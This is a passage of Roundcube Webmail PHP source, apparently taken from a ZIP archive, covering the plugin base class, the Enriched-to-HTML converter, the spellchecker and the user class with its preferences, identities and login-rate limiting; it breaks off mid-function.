        return rcube::get_instance()->gettext($p, $this->ID);
    }

    /**
     * Register this plugin to be responsible for a specific task
     *
     * @param string $task Task name (only characters [a-z0-9_-] are allowed)
     */
    public function register_task($task)
    {
        if ($this->api->register_task($task, $this->ID)) {
            $this->mytask = $task;
        }
    }

    /**
     * Register a handler for a specific client-request action
     *
     * The callback will be executed upon a request like /?_task=mail&_action=plugin.myaction
     *
     * @param string $action   Action name (should be unique)
     * @param mixed  $callback Callback function as string
     *                         or array with object reference and method name
     */
    public function register_action($action, $callback)
    {
        $this->api->register_action($action, $this->ID, $callback, $this->mytask);
    }

    /**
     * Register a handler function for a template object
     *
     * When parsing a template for display, tags like <roundcube:object name="plugin.myobject" />
     * will be replaced by the return value if the registered callback function.
     *
     * @param string $name     Object name (should be unique and start with 'plugin.')
     * @param mixed  $callback Callback function as string or array with object reference
     *                         and method name
     */
    public function register_handler($name, $callback)
    {
        $this->api->register_handler($name, $this->ID, $callback);
    }

    /**
     * Make this javascript file available on the client
     *
     * @param string $fn File path; absolute or relative to the plugin directory
     */
    public function include_script($fn)
    {
        $this->api->include_script($this->resource_url($fn));
    }

    /**
     * Make this stylesheet available on the client
     *
     * @param string $fn File path; absolute or relative to the plugin directory
     */
    public function include_stylesheet($fn)
    {
        $this->api->include_stylesheet($this->resource_url($fn));
    }

    /**
     * Append a button to a certain container
     *
     * @param array  $p         Hash array with named parameters (as used in skin templates)
     * @param string $container Container name where the buttons should be added to
     *
     * @see rcube_template::button()
     */
    public function add_button($p, $container)
    {
        if ($this->api->output->type == 'html') {
            // fix relative paths
            foreach (['imagepas', 'imageact', 'imagesel'] as $key) {
                if (!empty($p[$key])) {
                    $p[$key] = $this->api->url . $this->resource_url($p[$key]);
                }
            }

            $this->api->add_content($this->api->output->button($p), $container);
        }
    }

    /**
     * Generate an absolute URL to the given resource within the current
     * plugin directory
     *
     * @param string $fn The file name
     *
     * @return string Absolute URL to the given resource
     */
    public function url($fn)
    {
        return $this->api->url . $this->resource_url($fn);
    }

    /**
     * Make the given file name link into the plugin directory
     *
     * @param string $fn Filename
     */
    private function resource_url($fn)
    {
        // pattern "skins/[a-z0-9-_]+/plugins/$this->ID/" used to identify plugin resources loaded from the core skin folder
        if ($fn[0] != '/' && !preg_match("#^(https?://|skins/[a-z0-9-_]+/plugins/$this->ID/)#i", $fn)) {
            return $this->ID . '/' . $fn;
        }
        else {
            return $fn;
        }
    }

    /**
     * Provide path to the currently selected skin folder within the plugin directory
     * with a fallback to the default skin folder.
     *
     * @param  string $extra_dir Additional directory to search in (optional)
     * @param  mixed  $skin_name Specific skin name(s) to look for, string or array (optional)
     * @return string            Skin path relative to plugins directory
     */
    public function local_skin_path($extra_dir = null, $skin_name = null)
    {
        $rcube     = rcube::get_instance();
        $skins     = array_keys((array)$rcube->output->skins);
        $skin_path = '';

        if (empty($skins)) {
            $skins = (array) $rcube->config->get('skin');
        }

        $dirs = ['skins'];
        if (!empty($extra_dir)) {
            array_unshift($dirs, $extra_dir);
        }

        if (!empty($skin_name)) {
            $skins = (array) $skin_name;
        }

        foreach ($skins as $skin) {
            foreach ($dirs as $dir) {
                // skins folder in the plugins dir
                $skin_path = $dir . '/' . $skin;

                if (!is_dir(realpath(slashify($this->home) . $skin_path))) {
                    // plugins folder in the skins dir
                    $skin_path .= '/plugins/' . $this->ID;
                    if (is_dir(realpath(slashify(RCUBE_INSTALL_PATH) . $skin_path))) {
                        break 2;
                    }
                }
                else {
                    break 2;
                }
            }
        }

        return $skin_path;
    }

    /**
     * Callback function for array_map
     *
     * @param string $key Array key.
     *
     * @return string
     */
    private function label_map_callback($key)
    {
        if (strpos($key, $this->ID.'.') === 0) {
            return $key;
        }

        return $this->ID.'.'.$key;
    }
}
PK
h�\,X,;;(program/lib/Roundcube/rcube_enriched.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Helper class to convert Enriched to HTML format (RFC 1523, 1896)    |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 | Author: Ryo Chijiiwa (IlohaMail)                                      |
 +-----------------------------------------------------------------------+
*/

/**
 * Class for Enriched to HTML conversion
 *
 * @package    Framework
 * @subpackage Utils
 */
class rcube_enriched
{
    protected static function convert_newlines($body)
    {
        // remove single newlines, convert N newlines to N-1
        $body = str_replace("\r\n", "\n", $body);
        $len  = strlen($body);
        $nl   = 0;
        $out  = '';

        for ($i=0; $i<$len; $i++) {
            $c = $body[$i];
            if (ord($c) == 10) {
                $nl++;
            }
            if ($nl && ord($c) != 10) {
                $nl = 0;
            }
            if ($nl != 1) {
                $out .= $c;
            }
            else {
                $out .= ' ';
            }
        }

        return $out;
    }

    protected static function convert_formatting($body)
    {
        $replace = [
            '<bold>'        => '<b>',            '</bold>'   => '</b>',
            '<italic>'      => '<i>',            '</italic>' => '</i>',
            '<fixed>'       => '<tt>',           '</fixed>'  => '</tt>',
            '<smaller>'     => '<font size=-1>', '</smaller>'=> '</font>',
            '<bigger>'      => '<font size=+1>', '</bigger>' => '</font>',
            '<underline>'   => '<span style="text-decoration: underline">', '</underline>'   => '</span>',
            '<flushleft>'   => '<span style="text-align: left">',           '</flushleft>'   => '</span>',
            '<flushright>'  => '<span style="text-align: right">',          '</flushright>'  => '</span>',
            '<flushboth>'   => '<span style="text-align: justified">',      '</flushboth>'   => '</span>',
            '<indent>'      => '<span style="padding-left: 20px">',         '</indent>'      => '</span>',
            '<indentright>' => '<span style="padding-right: 20px">',        '</indentright>' => '</span>',
        ];

        return str_ireplace(array_keys($replace), array_values($replace), $body);
    }

    protected static function convert_font($body)
    {
        $pattern = '/(.*)\<fontfamily\>\<param\>(.*)\<\/param\>(.*)\<\/fontfamily\>(.*)/ims';

        while (preg_match($pattern, $body, $a)) {
            if (count($a) != 5) {
                continue;
            }

            $body = $a[1].'<span style="font-family: '.$a[2].'">'.$a[3].'</span>'.$a[4];
        }

        return $body;
    }

    protected static function convert_color($body)
    {
        $pattern = '/(.*)\<color\>\<param\>(.*)\<\/param\>(.*)\<\/color\>(.*)/ims';

        while (preg_match($pattern, $body, $a)) {
            if (count($a) != 5) {
                continue;
            }

            // extract color (either by name, or ####,####,####)
            if (strpos($a[2],',')) {
                $rgb   = explode(',', $a[2]);
                $color = '#';
                for ($i=0; $i<3; $i++) {
                    $color .= substr($rgb[$i], 0, 2); // just take first 2 bytes
                }
            }
            else {
                $color = $a[2];
            }

            // put it all together
            $body = $a[1].'<span style="color: '.$color.'">'.$a[3].'</span>'.$a[4];
        }

        return $body;
    }

    protected static function convert_excerpt($body)
    {
        $pattern = '/(.*)\<excerpt\>(.*)\<\/excerpt\>(.*)/i';

        while (preg_match($pattern, $body, $a)) {
            if (count($a) != 4) {
                continue;
            }

            $quoted = '';
            $lines  = explode('<br>', $a[2]);

            foreach ($lines as $line) {
                $quoted .= '&gt;'.$line.'<br>';
            }

            $body = $a[1].'<span class="quotes">'.$quoted.'</span>'.$a[3];
        }

        return $body;
    }

    /**
     * Converts Enriched text into HTML format
     *
     * @param string $body Enriched text
     *
     * @return string HTML text
     */
    public static function to_html($body)
    {
        $body = str_replace('<<','&lt;',$body);
        $body = self::convert_newlines($body);
        $body = str_replace("\n", '<br>', $body);
        $body = self::convert_formatting($body);
        $body = self::convert_color($body);
        $body = self::convert_font($body);
        $body = self::convert_excerpt($body);
        //$body = nl2br($body);

        return $body;
    }
}
PK
h�\	�d��3�3,program/lib/Roundcube/rcube_spellchecker.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Spellchecking using different backends                              |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <machniak@kolabsys.com>                   |
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

/**
 * Helper class for spellchecking with GoogieSpell and PSpell support.
 *
 * @package    Framework
 * @subpackage Utils
 */
class rcube_spellchecker
{
    private $matches = [];
    private $options = [];
    private $content;
    private $engine;
    private $backend;
    private $lang;
    private $rc;
    private $error;
    private $dict;
    private $have_dict;


    /**
     * Constructor
     *
     * @param string $lang Language code
     */
    function __construct($lang = 'en')
    {
        $this->rc     = rcube::get_instance();
        $this->engine = $this->rc->config->get('spellcheck_engine', 'googie');
        $this->lang   = $lang ?: 'en';

        $this->options = [
            'ignore_syms' => $this->rc->config->get('spellcheck_ignore_syms'),
            'ignore_nums' => $this->rc->config->get('spellcheck_ignore_nums'),
            'ignore_caps' => $this->rc->config->get('spellcheck_ignore_caps'),
            'dictionary'  => $this->rc->config->get('spellcheck_dictionary'),
        ];

        $class = 'rcube_spellchecker_' . $this->engine;

        if (class_exists($class)) {
            $this->backend = new $class($this, $this->lang, $this->options);
        }
        else {
            $this->error = "Unknown spellcheck engine '$this->engine'";
        }
    }

    /**
     * Return a list of supported languages
     */
    function languages()
    {
        // trust configuration
        $configured = $this->rc->config->get('spellcheck_languages');
        if (!empty($configured) && is_array($configured) && empty($configured[0])) {
            return $configured;
        }

        $langs = [];
        if (!empty($configured)) {
            $langs = (array) $configured;
        }
        else if ($this->backend) {
            $langs = $this->backend->languages();
        }

        // load index
        $rcube_languages        = [];
        $rcube_language_aliases = [];

        @include(RCUBE_LOCALIZATION_DIR . 'index.inc');

        // add correct labels
        $languages = [];
        foreach ($langs as $lang) {
            $langc = strtolower(substr($lang, 0, 2));
            $alias = !empty($rcube_language_aliases[$langc]) ? $rcube_language_aliases[$langc] : null;
            if (!$alias) {
                $alias = $langc.'_'.strtoupper($langc);
            }
            if (!empty($rcube_languages[$lang])) {
                $languages[$lang] = $rcube_languages[$lang];
            }
            else if (!empty($rcube_languages[$alias])) {
                $languages[$lang] = $rcube_languages[$alias];
            }
            else {
                $languages[$lang] = ucfirst($lang);
            }
        }

        // remove possible duplicates (#1489395)
        $languages = array_unique($languages);

        asort($languages);

        return $languages;
    }

    /**
     * Set content and check spelling
     *
     * @param string $text    Text content for spellchecking
     * @param bool   $is_html Enables HTML-to-Text conversion
     *
     * @return bool True when no misspelling found, otherwise false
     */
    function check($text, $is_html = false)
    {
        // convert to plain text
        if ($is_html) {
            $this->content = $this->html2text($text);
        }
        else {
            $this->content = $text;
        }

        // ignore links (#8527)
        $callback = function ($matches) {
            // replace the link with a dummy string that has the same length
            // we can't just remove the link
            return str_repeat(' ', strlen($matches[0]));
        };

        $this->content = preg_replace_callback('~(^|\s)(www.\S+|[a-z]+://\S+)~', $callback, $this->content);

        if ($this->backend) {
            $this->matches = $this->backend->check($this->content);
        }

        return $this->found() == 0;
    }

    /**
     * Number of misspellings found (after check)
     *
     * @return int Number of misspellings
     */
    function found()
    {
        return count($this->matches);
    }

    /**
     * Returns suggestions for the specified word
     *
     * @param string $word The word
     *
     * @return array Suggestions list
     */
    function get_suggestions($word)
    {
        if ($this->backend) {
            return $this->backend->get_suggestions($word);
        }

        return [];
    }

    /**
     * Returns misspelled words
     *
     * @param string $text The content for spellchecking. If empty content
     *                     used for check() method will be used.
     *
     * @return array List of misspelled words
     */
    function get_words($text = null, $is_html=false)
    {
        if ($is_html) {
            $text = $this->html2text($text);
        }

        if ($this->backend) {
            return $this->backend->get_words($text);
        }

        return [];
    }

    /**
     * Returns checking result in XML (Googiespell) format
     *
     * @return string XML content
     */
    function get_xml()
    {
        // send output
        $out = '<?xml version="1.0" encoding="'.RCUBE_CHARSET.'"?><spellresult charschecked="'.mb_strlen($this->content).'">';

        foreach ((array) $this->matches as $item) {
            $out .= '<c o="'.$item[1].'" l="'.$item[2].'">';
            $out .= is_array($item[4]) ? implode("\t", $item[4]) : $item[4];
            $out .= '</c>';
        }

        $out .= '</spellresult>';

        return $out;
    }

    /**
     * Returns checking result (misspelled words with suggestions)
     *
     * @return array Spellchecking result. An array indexed by word.
     */
    function get()
    {
        $result = [];

        foreach ((array) $this->matches as $item) {
            if ($this->engine == 'pspell') {
                $word = $item[0];
            }
            else {
                $word = mb_substr($this->content, $item[1], $item[2], RCUBE_CHARSET);
            }

            if (is_array($item[4])) {
                $suggestions = $item[4];
            }
            else if (empty($item[4])) {
                $suggestions = [];
            }
            else {
                $suggestions = explode("\t", $item[4]);
            }

            $result[$word] = $suggestions;
        }

        return $result;
    }

    /**
     * Returns error message
     *
     * @return string Error message
     */
    function error()
    {
        return $this->error ?: ($this->backend ? $this->backend->error() : false);
    }

    private function html2text($text)
    {
        $h2t = new rcube_html2text($text, false, false, 0);
        return $h2t->get_text();
    }

    /**
     * Check if the specified word is an exception according to the spellcheck options.
     *
     * @param string $word The word
     *
     * @return bool True if the word is an exception, False otherwise
     */
    public function is_exception($word)
    {
        // Contain only symbols (e.g. "+9,0", "2:2")
        if (!$word || preg_match('/^[0-9@#$%^&_+~*<>=:;?!,.-]+$/', $word)) {
            return true;
        }

        // Contain symbols (e.g. "g@@gle"), all symbols excluding separators
        if (!empty($this->options['ignore_syms']) && preg_match('/[@#$%^&_+~*=-]/', $word)) {
            return true;
        }

        // Contain numbers (e.g. "g00g13")
        if (!empty($this->options['ignore_nums']) && preg_match('/[0-9]/', $word)) {
            return true;
        }

        // Blocked caps (e.g. "GOOGLE")
        if (!empty($this->options['ignore_caps']) && $word == mb_strtoupper($word)) {
            return true;
        }

        // Use exceptions from dictionary
        if (!empty($this->options['dictionary'])) {
            $this->load_dict();

            // @TODO: should dictionary be case-insensitive?
            if (!empty($this->dict) && in_array($word, $this->dict)) {
                return true;
            }
        }

        return false;
    }

    /**
     * Add a word to dictionary
     *
     * @param string  $word  The word to add
     */
    public function add_word($word)
    {
        $this->load_dict();

        foreach (explode(' ', $word) as $word) {
            // sanity check
            if (strlen($word) < 512) {
                $this->dict[] = $word;
                $valid = true;
            }
        }

        if (!empty($valid)) {
            $this->dict = array_unique($this->dict);
            $this->update_dict();
        }
    }

    /**
     * Remove a word from dictionary
     *
     * @param string  $word  The word to remove
     */
    public function remove_word($word)
    {
        $this->load_dict();

        if (($key = array_search($word, $this->dict)) !== false) {
            unset($this->dict[$key]);
            $this->update_dict();
        }
    }

    /**
     * Update dictionary row in DB
     */
    private function update_dict()
    {
        $userid = null;
        if (strcasecmp($this->options['dictionary'], 'shared') != 0) {
            $userid = $this->rc->get_user_id();
        }

        $plugin = $this->rc->plugins->exec_hook('spell_dictionary_save', [
            'userid' => $userid, 'language' => $this->lang, 'dictionary' => $this->dict]);

        if (!empty($plugin['abort'])) {
            return;
        }

        if ($this->have_dict) {
            if (!empty($this->dict)) {
                $this->rc->db->query(
                    "UPDATE " . $this->rc->db->table_name('dictionary', true)
                    ." SET `data` = ?"
                    ." WHERE `user_id` " . ($plugin['userid'] ? "= ".$this->rc->db->quote($plugin['userid']) : "IS NULL")
                        ." AND `language` = ?",
                    implode(' ', $plugin['dictionary']), $plugin['language']);
            }
            // don't store empty dict
            else {
                $this->rc->db->query(
                    "DELETE FROM " . $this->rc->db->table_name('dictionary', true)
                    ." WHERE `user_id` " . ($plugin['userid'] ? "= ".$this->rc->db->quote($plugin['userid']) : "IS NULL")
                        ." AND `language` = ?",
                    $plugin['language']);
            }
        }
        else if (!empty($this->dict)) {
            $this->rc->db->query(
                "INSERT INTO " . $this->rc->db->table_name('dictionary', true)
                ." (`user_id`, `language`, `data`) VALUES (?, ?, ?)",
                $plugin['userid'], $plugin['language'], implode(' ', $plugin['dictionary']));
        }
    }

    /**
     * Get dictionary from DB
     */
    private function load_dict()
    {
        if (is_array($this->dict)) {
            return $this->dict;
        }

        $userid = null;
        if (strcasecmp($this->options['dictionary'], 'shared') != 0) {
            $userid = $this->rc->get_user_id();
        }

        $plugin = $this->rc->plugins->exec_hook('spell_dictionary_get', [
            'userid' => $userid, 'language' => $this->lang, 'dictionary' => []]);

        if (empty($plugin['abort'])) {
            $dict = [];
            $sql_result = $this->rc->db->query(
                "SELECT `data` FROM " . $this->rc->db->table_name('dictionary', true)
                ." WHERE `user_id` ". ($plugin['userid'] ? "= ".$this->rc->db->quote($plugin['userid']) : "IS NULL")
                    ." AND `language` = ?",
                $plugin['language']);

            if ($sql_arr = $this->rc->db->fetch_assoc($sql_result)) {
                $this->have_dict = true;
                if (!empty($sql_arr['data'])) {
                    $dict = explode(' ', $sql_arr['data']);
                }
            }

            $plugin['dictionary'] = array_merge((array)$plugin['dictionary'], $dict);
        }

        if (!empty($plugin['dictionary']) && is_array($plugin['dictionary'])) {
            $this->dict = $plugin['dictionary'];
        }
        else {
            $this->dict = [];
        }

        return $this->dict;
    }
}
PK
h�\����~�~$program/lib/Roundcube/rcube_user.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   This class represents a system user linked and provides access      |
 |   to the related database records.                                    |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Class representing a system user
 *
 * @package    Framework
 * @subpackage Core
 */
class rcube_user
{
    /** @var int User identifier */
    public $ID;

    /** @var array User properties */
    public $data;

    /** @var string User language code */
    public $language;

    /** @var array User preferences */
    public $prefs;


    /** @var rcube_db Holds database connection */
    private $db;

    /** @var rcube Framework object */
    private $rc;

    /** @var array Internal identities cache */
    private $identities = [];

    /** @var array Internal emails cache */
    private $emails;


    const SEARCH_ADDRESSBOOK = 1;
    const SEARCH_MAIL        = 2;


    /**
     * Object constructor
     *
     * @param int   $id      User id
     * @param array $sql_arr SQL result set
     */
    function __construct($id = null, $sql_arr = null)
    {
        $this->rc = rcube::get_instance();
        $this->db = $this->rc->get_dbh();

        if ($id && !$sql_arr) {
            $sql_result = $this->db->query(
                "SELECT * FROM " . $this->db->table_name('users', true)
                . " WHERE `user_id` = ?", $id
            );

            $sql_arr = $this->db->fetch_assoc($sql_result);
        }

        if (!empty($sql_arr)) {
            $this->ID       = (int) $sql_arr['user_id'];
            $this->data     = $sql_arr;
            $this->language = $sql_arr['language'];
        }
    }

    /**
     * Build a user name string (as e-mail address)
     *
     * @param string $part Username part (empty or 'local' or 'domain', 'mail')
     *
     * @return string Full user name or its part
     */
    function get_username($part = null)
    {
        if (!empty($this->data['username'])) {
            // return real name
            if (!$part) {
                return $this->data['username'];
            }

            list($local, $domain) = rcube_utils::explode('@', $this->data['username']);

            // at least we should always have the local part
            if ($part == 'local') {
                return $local;
            }
            // if no domain was provided...
            if (empty($domain)) {
                $domain = $this->rc->config->mail_domain($this->data['mail_host']);
            }

            if ($part == 'domain') {
                return $domain;
            }

            if (!empty($domain)) {
                return $local . '@' . $domain;
            }

            return $local;
        }
    }

    /**
     * Get the preferences saved for this user
     *
     * @return array Hash array with prefs
     */
    function get_prefs()
    {
        if (isset($this->prefs)) {
            return $this->prefs;
        }

        $this->prefs = [];

        if (!empty($this->language)) {
            $this->prefs['language'] = $this->language;
        }

        if ($this->ID) {
            // Preferences from session (write-master is unavailable)
            if (!empty($_SESSION['preferences'])) {
                // Check last write attempt time, try to write again (every 5 minutes)
                if ($_SESSION['preferences_time'] < time() - 5 * 60) {
                    $saved_prefs = unserialize($_SESSION['preferences']);
                    $this->rc->session->remove('preferences');
                    $this->rc->session->remove('preferences_time');
                    $this->save_prefs($saved_prefs);
                }
                else {
                    $this->data['preferences'] = $_SESSION['preferences'];
                }
            }

            if ($this->data['preferences']) {
                $this->prefs += (array) unserialize($this->data['preferences']);
            }
        }

        return $this->prefs;
    }

    /**
     * Write the given user prefs to the user's record
     *
     * @param array $a_user_prefs User prefs to save
     * @param bool  $no_session   Simplified language/preferences handling
     *
     * @return bool True on success, False on failure
     */
    function save_prefs($a_user_prefs, $no_session = false)
    {
        if (!$this->ID) {
            return false;
        }

        $config       = $this->rc->config;
        $transient    = $config->transient_options();
        $a_user_prefs = array_diff_key($a_user_prefs, array_flip($transient));

        if (empty($a_user_prefs)) {
            return true;
        }

        $plugin = $this->rc->plugins->exec_hook('preferences_update', [
                'userid' => $this->ID,
                'prefs'  => $a_user_prefs,
                'old'    => (array)$this->get_prefs()
        ]);

        if (!empty($plugin['abort'])) {
            return false;
        }

        $a_user_prefs = $plugin['prefs'];
        $old_prefs    = $plugin['old'];
        $defaults     = $config->all();

        // merge (partial) prefs array with existing settings
        $this->prefs = $save_prefs = $a_user_prefs + $old_prefs;
        unset($save_prefs['language']);

        // don't save prefs with default values if they haven't been changed yet
        // Warning: we use result of rcube_config::all() here instead of just get() (#5782)
        foreach ($a_user_prefs as $key => $value) {
            if ($value === null || (!isset($old_prefs[$key]) && isset($defaults[$key]) && $value === $defaults[$key])) {
                unset($save_prefs[$key]);
            }
        }

        $save_prefs = serialize($save_prefs);
        if (!$no_session) {
            $this->language = $_SESSION['language'];
        }

        $this->db->query(
            "UPDATE ".$this->db->table_name('users', true).
            " SET `preferences` = ?, `language` = ?".
            " WHERE `user_id` = ?",
            $save_prefs,
            $this->language,
            $this->ID
        );

        // Update success
        if ($this->db->affected_rows() !== false) {
            $this->data['preferences'] = $save_prefs;

            if (!$no_session) {
                $config->set_user_prefs($this->prefs);

                if (isset($_SESSION['preferences'])) {
                    $this->rc->session->remove('preferences');
                    $this->rc->session->remove('preferences_time');
                }
            }

            return true;
        }
        // Update error, but we are using replication (we have read-only DB connection)
        // and we are storing session not in the SQL database
        // we can store preferences in session and try to write later (see get_prefs())
        else if (!$no_session && $this->db->is_replicated()
            && $config->get('session_storage', 'db') != 'db'
        ) {
            $_SESSION['preferences'] = $save_prefs;
            $_SESSION['preferences_time'] = time();
            $config->set_user_prefs($this->prefs);
            $this->data['preferences'] = $save_prefs;
        }

        return false;
    }

    /**
     * Generate a unique hash to identify this user with
     */
    function get_hash()
    {
        $prefs = $this->get_prefs();

        // generate a random hash and store it in user prefs
        if (empty($prefs['client_hash'])) {
            $prefs['client_hash'] = rcube_utils::random_bytes(16);
            $this->save_prefs(['client_hash' => $prefs['client_hash']]);
        }

        return $prefs['client_hash'];
    }

    /**
     * Return a list of all user emails (from identities)
     *
     * @param bool $default Return only default identity
     *
     * @return array List of emails (identity_id, name, email) or single email-data
     */
    function list_emails($default = false)
    {
        if ($this->emails === null) {
            $this->emails = [];

            $sql_result = $this->db->query(
                "SELECT `identity_id`, `name`, `email`"
                ." FROM " . $this->db->table_name('identities', true)
                ." WHERE `user_id` = ? AND `del` <> 1"
                ." ORDER BY `standard` DESC, `name` ASC, `email` ASC, `identity_id` ASC",
                $this->ID
            );

            while ($sql_arr = $this->db->fetch_assoc($sql_result)) {
                $this->emails[] = $sql_arr;
            }
        }

        return $default ? $this->emails[0] : $this->emails;
    }

    /**
     * Get default identity of this user
     *
     * @param int $id Identity ID. If empty, the default identity is returned
     *
     * @return array Hash array with all cols of the identity record
     */
    function get_identity($id = null)
    {
        $id = (int) $id;

        // cache identities for better performance
        if (!array_key_exists($id, $this->identities)) {
            $result = $this->list_identities($id ? "AND `identity_id` = $id" : '');
            $this->identities[$id] = $result[0];
        }

        return $this->identities[$id];
    }

    /**
     * Return a list of all identities linked with this user
     *
     * @param string $sql_add   Optional WHERE clauses
     * @param bool   $formatted Format identity email and name
     *
     * @return array List of identities
     */
    function list_identities($sql_add = '', $formatted = false)
    {
        $result = [];

        $sql_result = $this->db->query(
            "SELECT * FROM ".$this->db->table_name('identities', true)
            . " WHERE `del` <> 1 AND `user_id` = ?" . ($sql_add ? " $sql_add" : "")
            . " ORDER BY `standard` DESC, `name` ASC, `email` ASC, `identity_id` ASC",
            $this->ID
        );

        while ($sql_arr = $this->db->fetch_assoc($sql_result)) {
            if ($formatted) {
                $ascii_email = format_email($sql_arr['email']);
                $utf8_email  = format_email(rcube_utils::idn_to_utf8($ascii_email));

                $sql_arr['email_ascii'] = $ascii_email;
                $sql_arr['email']       = $utf8_email;
                $sql_arr['ident']       = format_email_recipient($ascii_email, $sql_arr['name']);
            }

            $result[] = $sql_arr;
        }

        return $result;
    }

    /**
     * Update a specific identity record
     *
     * @param int   $iid  Identity ID
     * @param array $data Hash array with col->value pairs to save
     *
     * @return bool True if saved successfully, false if nothing changed
     */
    function update_identity($iid, $data)
    {
        if (!$this->ID) {
            return false;
        }

        $query_cols = $query_params = [];

        foreach ((array) $data as $col => $value) {
            $query_cols[]   = $this->db->quote_identifier($col) . ' = ?';
            $query_params[] = $value;
        }
        $query_params[] = $iid;
        $query_params[] = $this->ID;

        $sql = "UPDATE ".$this->db->table_name('identities', true).
            " SET `changed` = ".$this->db->now() . ", " . implode(', ', $query_cols)
            . " WHERE `identity_id` = ?"
                . " AND `user_id` = ?"
                . " AND `del` <> 1";

        $this->db->query($sql, $query_params);

        // clear the cache
        $this->identities = [];
        $this->emails     = null;

        return $this->db->affected_rows() > 0;
    }

    /**
     * Create a new identity record linked with this user
     *
     * @param array $data Hash array with col->value pairs to save
     *
     * @return int|false The inserted identity ID or false on error
     */
    function insert_identity($data)
    {
        if (!$this->ID) {
            return false;
        }

        unset($data['user_id']);

        $insert_cols   = [];
        $insert_values = [];

        foreach ((array) $data as $col => $value) {
            $insert_cols[]   = $this->db->quote_identifier($col);
            $insert_values[] = $value;
        }

        $insert_cols[]   = $this->db->quote_identifier('user_id');
        $insert_values[] = $this->ID;

        $sql = "INSERT INTO " . $this->db->table_name('identities', true)
            . " (`changed`, " . implode(', ', $insert_cols) . ")"
            . " VALUES (" . $this->db->now() . ", " . implode(', ', array_pad([], count($insert_values), '?')) . ")";

        $insert = $this->db->query($sql, $insert_values);

        // clear the cache
        $this->identities = [];
        $this->emails     = null;

        return $this->db->affected_rows($insert) ? $this->db->insert_id('identities') : false;
    }

    /**
     * Mark the given identity as deleted
     *
     * @param int $iid Identity ID
     *
     * @return bool True if deleted successfully, false if nothing changed
     */
    function delete_identity($iid)
    {
        if (!$this->ID) {
            return false;
        }

        $sql_result = $this->db->query(
            "SELECT count(*) AS ident_count FROM " . $this->db->table_name('identities', true)
            . " WHERE `user_id` = ? AND `del` <> 1",
            $this->ID
        );

        $sql_arr = $this->db->fetch_assoc($sql_result);

        // we'll not delete last identity
        if ($sql_arr['ident_count'] <= 1) {
            return false;
        }

        $this->db->query(
            "UPDATE " . $this->db->table_name('identities', true)
            . " SET `del` = 1, `changed` = " . $this->db->now()
            . " WHERE `user_id` = ? AND `identity_id` = ?",
            $this->ID,
            $iid
        );

        // clear the cache
        $this->identities = [];
        $this->emails     = null;

        return $this->db->affected_rows() > 0;
    }

    /**
     * Make this identity the default one for this user
     *
     * @param int $iid The identity ID
     */
    function set_default($iid)
    {
        if ($this->ID && $iid) {
            $this->db->query(
                "UPDATE " . $this->db->table_name('identities', true)
                . " SET `standard` = '0'"
                . " WHERE `user_id` = ? AND `identity_id` <> ?",
                $this->ID,
                $iid
            );

            $this->db->query(
                "UPDATE " . $this->db->table_name('identities', true)
                . " SET `standard` = '1'"
                . " WHERE `user_id` = ? AND `identity_id` = ?",
                $this->ID,
                $iid
            );

            $this->identities = [];
        }
    }

    /**
     * Update user's last_login timestamp
     */
    function touch()
    {
        if ($this->ID) {
            $this->db->query(
                "UPDATE " . $this->db->table_name('users', true)
                . " SET `last_login` = " . $this->db->now()
                . " WHERE `user_id` = ?",
                $this->ID
            );
        }
    }

    /**
     * Update user's failed_login timestamp and counter
     */
    function failed_login()
    {
        if ($this->ID && $this->rc->config->get('login_rate_limit', 3)) {
            $counter = 0;

            if (empty($this->data['failed_login'])) {
                $failed_login = new DateTime('now');
                $counter      = 1;
            }
            else {
                $failed_login = new DateTime($this->data['failed_login']);
                $threshold    = new DateTime('- 60 seconds');

                if ($failed_login < $threshold) {
                    $failed_login = new DateTime('now');
                    $counter      = 1;
                }
            }

            $this->db->query(
                "UPDATE " . $this->db->table_name('users', true)
                    . " SET `failed_login` = ?"
                    . ", `failed_login_counter` = " . ($counter ?: "`failed_login_counter` + 1")
                . " WHERE `user_id` = ?",
                $failed_login, $this->ID
            );
        }
    }

    /**
     * Checks if the account is locked, e.g. as a result of brute-force prevention
     */
    function is_locked()
    {
        if (empty($this->data['failed_login'])) {
            return false;
        }

        if ($rate = (int) $this->rc->config->get('login_rate_limit', 3)) {
            $last_failed = new DateTime($this->data['failed_login']);
            $threshold   = new DateTime('- 60 seconds');

            if ($last_failed > $threshold && $this->data['failed_login_counter'] >= $rate) {
                return true;
            }
        }

        return false;
    }

    /**
     * Clear the saved object state
     */
    function reset()
    {
        $this->ID   = null;
        $this->data = null;
    }

    /**
     * Find a user record matching the given name and host
     *
     * @param string $user IMAP user name
     * @param string $host IMAP host name
     *
     * @return rcube_user New user instance
     */
    static function query($user, $host)
    {
        $dbh    = rcube::get_instance()->get_dbh();
        $config = rcube::get_instance()->config;

        // query for matching user name
        $sql_result = $dbh->query("SELECT * FROM " . $dbh->table_name('users', true)
            ." WHERE `mail_host` = ? AND `username` = ?", $host, $user);

        $sql_arr = $dbh->fetch_assoc($sql_result);

        // username not found, try aliases from identities
        if (empty($sql_arr) && $config->get('user_aliases') && strpos($user, '@')) {
